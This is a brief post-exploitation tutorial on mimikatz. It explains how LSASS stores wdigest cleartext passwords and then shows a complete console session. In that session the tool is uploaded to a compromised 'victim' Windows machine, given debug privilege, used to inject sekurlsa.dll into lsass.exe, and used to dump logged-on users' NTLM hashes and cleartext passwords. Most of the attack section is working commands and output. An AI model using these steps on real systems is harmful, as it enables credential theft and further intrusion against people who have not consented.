eMimikatz

Background on LSASS:

LSASS (Local Security Authority Subsystem Service) is responsible for enforcing the security policy on a system.

1. It verifies users logging on to Windows.
2. Handles password changes.
3. Creates access tokens.
4. Writes to the Windows Security Log.

Lsass.exe stores cleartext passwords in order to support wdigest (HTTP digest authentication).

Mimikatz is used to inject sekurlsa.dll into the lsass.exe process in order to extract the passwords of currently logged on users.

After exploiting the victim Windows box, upload `mimikatz.exe` and `sekurlsa.dll` into the same folder.

```
C:\temp>mimikatz
mimikatz
mimikatz 1.0 x64 (alpha)      /* Traitement du Kiwi (Feb  9 2012 01:49:24) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # inject::process lsass.exe sekurlsa.dll
PROCESSENTRY32(lsass.exe).th32ProcessID = 512
Attente de connexion du client...
Serveur connecté à un client !
Message du processus :
Bienvenue dans un processus distant
                  Gentil Kiwi
SekurLSA : librairie de manipulation des données de sécurités dans LSASS

mimikatz # @getLogonPasswords

Authentification Id         : 0;129433
Package d'authentification  : NTLM
Utilisateur principal       : LaNMaSteR
Domaine d'authentification  : WIN-8GLMSQD3GDE
      msv1_0 :    lm{ 00000000000000000000000000000000 }, ntlm{
d6ca08f8c9f57f208b4f746c3cf0d667 }
      wdigest :   reallygoodpassword
      tspkg :     reallygoodpassword
mimikatz #
```